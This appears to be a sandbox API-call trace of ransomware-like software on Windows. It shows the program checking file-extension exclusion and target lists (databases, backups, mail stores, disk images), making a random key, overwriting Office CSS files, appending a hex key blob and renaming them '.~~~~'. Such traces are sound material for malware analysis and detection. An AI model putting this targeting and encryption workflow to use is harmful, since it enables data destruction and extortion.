	[0140.066] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme43.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme43.css.~~~~")) returned 1
	[0140.069] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38e538 | out: hHeap=0x300000) returned 1
	[0140.069] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0140.069] GetLastError () returned 0x0
	[0140.069] RtlWakeConditionVariable () returned 0x0
	[0140.069] GetCurrentThreadId () returned 0x9f4
	[0140.069] GetCurrentThreadId () returned 0x9f4
	[0140.069] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ceab8
	[0140.069] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38dea8 | out: hHeap=0x300000) returned 1
	[0140.069] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38d618 | out: hHeap=0x300000) returned 1
	[0140.069] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x38dea8
	[0140.069] lstrlenW (lpString=".scr") returned 4
	[0140.069] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch=".scr") returned 0x0
	[0140.069] lstrlenW (lpString=".cmd") returned 4
	[0140.069] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch=".cmd") returned 0x0
	[0140.070] lstrlenW (lpString=".dll") returned 4
	[0140.070] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch=".dll") returned 0x0
	[0140.070] lstrlenW (lpString=".bat") returned 4
	[0140.070] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch=".bat") returned 0x0
	[0140.070] lstrlenW (lpString=".cpl") returned 4
	[0140.070] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch=".cpl") returned 0x0
	[0140.070] lstrlenW (lpString=".sys") returned 4
	[0140.070] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch=".sys") returned 0x0
	[0140.070] lstrlenW (lpString=".msc") returned 4
	[0140.070] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch=".msc") returned 0x0
	[0140.070] lstrlenW (lpString=".com") returned 4
	[0140.070] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch=".com") returned 0x0
	[0140.070] lstrlenW (lpString=".lnk") returned 4
	[0140.070] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch=".lnk") returned 0x0
	[0140.070] lstrlenW (lpString=".msp") returned 4
	[0140.070] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch=".msp") returned 0x0
	[0140.070] lstrlenW (lpString=".pif") returned 4
	[0140.070] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch=".pif") returned 0x0
	[0140.070] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0140.070] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch="msp\r\n.pif") returned 0x0
	[0140.070] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme51.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0140.093] lstrlenW (lpString=".sqb") returned 4
	[0140.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch=".sqb") returned 0x0
	[0140.093] lstrlenW (lpString=".ost") returned 4
	[0140.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch=".ost") returned 0x0
	[0140.093] lstrlenW (lpString=".txt") returned 4
	[0140.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch=".txt") returned 0x0
	[0140.093] lstrlenW (lpString=".mdt") returned 4
	[0140.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch=".mdt") returned 0x0
	[0140.094] lstrlenW (lpString=".BDB") returned 4
	[0140.094] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch=".BDB") returned 0x0
	[0140.094] lstrlenW (lpString=".eql") returned 4
	[0140.094] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch=".eql") returned 0x0
	[0140.094] lstrlenW (lpString=".DBF") returned 4
	[0140.094] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch=".DBF") returned 0x0
	[0140.094] lstrlenW (lpString=".EQL") returned 4
	[0140.094] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch=".EQL") returned 0x0
	[0140.094] lstrlenW (lpString=".FDB") returned 4
	[0140.094] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch=".FDB") returned 0x0
	[0140.094] lstrlenW (lpString=".EDB") returned 4
	[0140.094] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch=".EDB") returned 0x0
	[0140.094] lstrlenW (lpString=".DACPAC") returned 7
	[0140.094] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch=".DACPAC") returned 0x0
	[0140.094] lstrlenW (lpString=".VHD") returned 4
	[0140.094] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch=".VHD") returned 0x0
	[0140.094] lstrlenW (lpString=".DBV") returned 4
	[0140.094] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch=".DBV") returned 0x0
	[0140.094] lstrlenW (lpString=".dacpac") returned 7
	[0140.094] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch=".dacpac") returned 0x0
	[0140.094] lstrlenW (lpString=".sdf") returned 4
	[0140.094] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch=".sdf") returned 0x0
	[0140.094] lstrlenW (lpString=".accdb") returned 6
	[0140.094] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch=".accdb") returned 0x0
	[0140.094] lstrlenW (lpString=".DBX") returned 4
	[0140.094] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch=".DBX") returned 0x0
	[0140.094] lstrlenW (lpString=".MDT") returned 4
	[0140.095] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch=".MDT") returned 0x0
	[0140.095] lstrlenW (lpString=".SQB") returned 4
	[0140.095] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch=".SQB") returned 0x0
	[0140.095] lstrlenW (lpString=".vhd") returned 4
	[0140.095] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch=".vhd") returned 0x0
	[0140.095] lstrlenW (lpString=".bac") returned 4
	[0140.095] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch=".bac") returned 0x0
	[0140.095] lstrlenW (lpString=".mdf") returned 4
	[0140.095] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch=".mdf") returned 0x0
	[0140.095] lstrlenW (lpString=".BAK") returned 4
	[0140.095] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch=".BAK") returned 0x0
	[0140.095] lstrlenW (lpString=".BAC") returned 4
	[0140.095] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch=".BAC") returned 0x0
	[0140.095] lstrlenW (lpString=".dbs") returned 4
	[0140.095] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch=".dbs") returned 0x0
	[0140.095] lstrlenW (lpString=".vhdx") returned 5
	[0140.095] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch=".vhdx") returned 0x0
	[0140.095] lstrlenW (lpString=".NDF") returned 4
	[0140.095] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch=".NDF") returned 0x0
	[0140.095] lstrlenW (lpString=".dat") returned 4
	[0140.095] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch=".dat") returned 0x0
	[0140.095] lstrlenW (lpString=".DBS") returned 4
	[0140.095] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch=".DBS") returned 0x0
	[0140.095] lstrlenW (lpString=".CKP") returned 4
	[0140.095] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch=".CKP") returned 0x0
	[0140.095] lstrlenW (lpString=".edb") returned 4
	[0140.095] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch=".edb") returned 0x0
	[0140.096] lstrlenW (lpString=".PST") returned 4
	[0140.096] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch=".PST") returned 0x0
	[0140.096] lstrlenW (lpString=".dbf") returned 4
	[0140.096] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch=".dbf") returned 0x0
	[0140.096] lstrlenW (lpString=".SQL") returned 4
	[0140.096] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch=".SQL") returned 0x0
	[0140.096] lstrlenW (lpString=".pst") returned 4
	[0140.096] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch=".pst") returned 0x0
	[0140.096] lstrlenW (lpString=".dbv") returned 4
	[0140.096] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch=".dbv") returned 0x0
	[0140.096] lstrlenW (lpString=".SDF") returned 4
	[0140.096] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch=".SDF") returned 0x0
	[0140.096] lstrlenW (lpString=".dtxs") returned 5
	[0140.096] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch=".dtxs") returned 0x0
	[0140.096] lstrlenW (lpString=".db3") returned 4
	[0140.096] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch=".db3") returned 0x0
	[0140.096] lstrlenW (lpString=".OST") returned 4
	[0140.096] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch=".OST") returned 0x0
	[0140.096] lstrlenW (lpString=".dbx") returned 4
	[0140.096] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch=".dbx") returned 0x0
	[0140.097] lstrlenW (lpString=".DB3") returned 4
	[0140.097] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch=".DB3") returned 0x0
	[0140.097] lstrlenW (lpString=".DAT") returned 4
	[0140.097] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch=".DAT") returned 0x0
	[0140.097] lstrlenW (lpString=".VHDX") returned 5
	[0140.097] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch=".VHDX") returned 0x0
	[0140.097] lstrlenW (lpString=".ndf") returned 4
	[0140.097] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch=".ndf") returned 0x0
	[0140.097] lstrlenW (lpString=".DB") returned 3
	[0140.097] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch=".DB") returned 0x0
	[0140.097] lstrlenW (lpString=".sql") returned 4
	[0140.097] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch=".sql") returned 0x0
	[0140.098] lstrlenW (lpString=".MYD") returned 4
	[0140.098] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch=".MYD") returned 0x0
	[0140.098] lstrlenW (lpString=".DBT") returned 4
	[0140.098] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch=".DBT") returned 0x0
	[0140.098] lstrlenW (lpString=".ACCDB") returned 6
	[0140.098] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch=".ACCDB") returned 0x0
	[0140.098] lstrlenW (lpString=".fdb") returned 4
	[0140.098] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch=".fdb") returned 0x0
	[0140.098] lstrlenW (lpString=".bak") returned 4
	[0140.098] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch=".bak") returned 0x0
	[0140.098] lstrlenW (lpString=".myd") returned 4
	[0140.098] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch=".myd") returned 0x0
	[0140.098] lstrlenW (lpString=".DTXS") returned 5
	[0140.098] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch=".DTXS") returned 0x0
	[0140.098] lstrlenW (lpString=".ckp") returned 4
	[0140.098] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch=".ckp") returned 0x0
	[0140.098] lstrlenW (lpString=".dbt") returned 4
	[0140.098] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch=".dbt") returned 0x0
	[0140.098] lstrlenW (lpString=".db") returned 3
	[0140.098] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch=".db") returned 0x0
	[0140.098] lstrlenW (lpString=".TXT") returned 4
	[0140.098] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch=".TXT") returned 0x0
	[0140.098] lstrlenW (lpString=".MDF") returned 4
	[0140.098] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch=".MDF") returned 0x0
	[0140.098] lstrlenW (lpString=".bdb") returned 4
	[0140.098] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch=".bdb") returned 0x0
	[0140.099] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0140.099] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0140.099] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0140.099] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0140.099] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394b08) returned 1
	[0140.100] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0140.100] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0140.100] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0140.100] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0140.100] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0140.100] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26009046476) returned 1
	[0140.100] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbcec5930, dwHighDateTime=0x1d60e1e)) 
	[0140.100] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0140.101] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0140.101] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0140.101] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x38d5e0
	[0140.101] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0140.101] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38d5e0 | out: hHeap=0x300000) returned 1
	[0140.101] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0140.101] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0140.101] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38e340
	[0140.101] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0140.101] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6380
	[0140.101] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38e340 | out: hHeap=0x300000) returned 1
	[0140.101] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0140.101] GetLastError () returned 0x0
	[0140.102] GetLastError () returned 0x0
	[0140.102] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0140.102] GetLastError () returned 0x0
	[0140.102] GetLastError () returned 0x0
	[0140.102] ReadFile (in: hFile=0xc4, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0140.126] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.126] WriteFile (in: hFile=0xc4, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0140.126] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0140.127] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.127] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0140.127] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0140.127] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0140.127] CloseHandle (hObject=0xc4) returned 1
	[0140.127] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x38e298
	[0140.127] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme51.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme51.css.~~~~")) returned 1
	[0140.130] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38e298 | out: hHeap=0x300000) returned 1
	[0140.130] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0140.130] GetLastError () returned 0x0
	[0140.130] RtlWakeConditionVariable () returned 0x365f70
	[0140.131] GetCurrentThreadId () returned 0x9f4
	[0140.131] GetCurrentThreadId () returned 0x9f4
	[0140.131] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ceab8
	[0140.131] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38e1f0 | out: hHeap=0x300000) returned 1
	[0140.131] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38d570 | out: hHeap=0x300000) returned 1
	[0140.131] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x38e1f0
	[0140.131] lstrlenW (lpString=".scr") returned 4
	[0140.131] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch=".scr") returned 0x0
	[0140.131] lstrlenW (lpString=".cmd") returned 4
	[0140.131] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch=".cmd") returned 0x0
	[0140.131] lstrlenW (lpString=".dll") returned 4
	[0140.131] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch=".dll") returned 0x0
	[0140.131] lstrlenW (lpString=".bat") returned 4
	[0140.131] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch=".bat") returned 0x0
	[0140.131] lstrlenW (lpString=".cpl") returned 4
	[0140.131] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch=".cpl") returned 0x0
	[0140.131] lstrlenW (lpString=".sys") returned 4
	[0140.131] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch=".sys") returned 0x0
	[0140.131] lstrlenW (lpString=".msc") returned 4
	[0140.131] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch=".msc") returned 0x0
	[0140.131] lstrlenW (lpString=".com") returned 4
	[0140.131] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch=".com") returned 0x0
	[0140.132] lstrlenW (lpString=".lnk") returned 4
	[0140.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch=".lnk") returned 0x0
	[0140.132] lstrlenW (lpString=".msp") returned 4
	[0140.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch=".msp") returned 0x0
	[0140.132] lstrlenW (lpString=".pif") returned 4
	[0140.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch=".pif") returned 0x0
	[0140.132] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0140.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch="msp\r\n.pif") returned 0x0
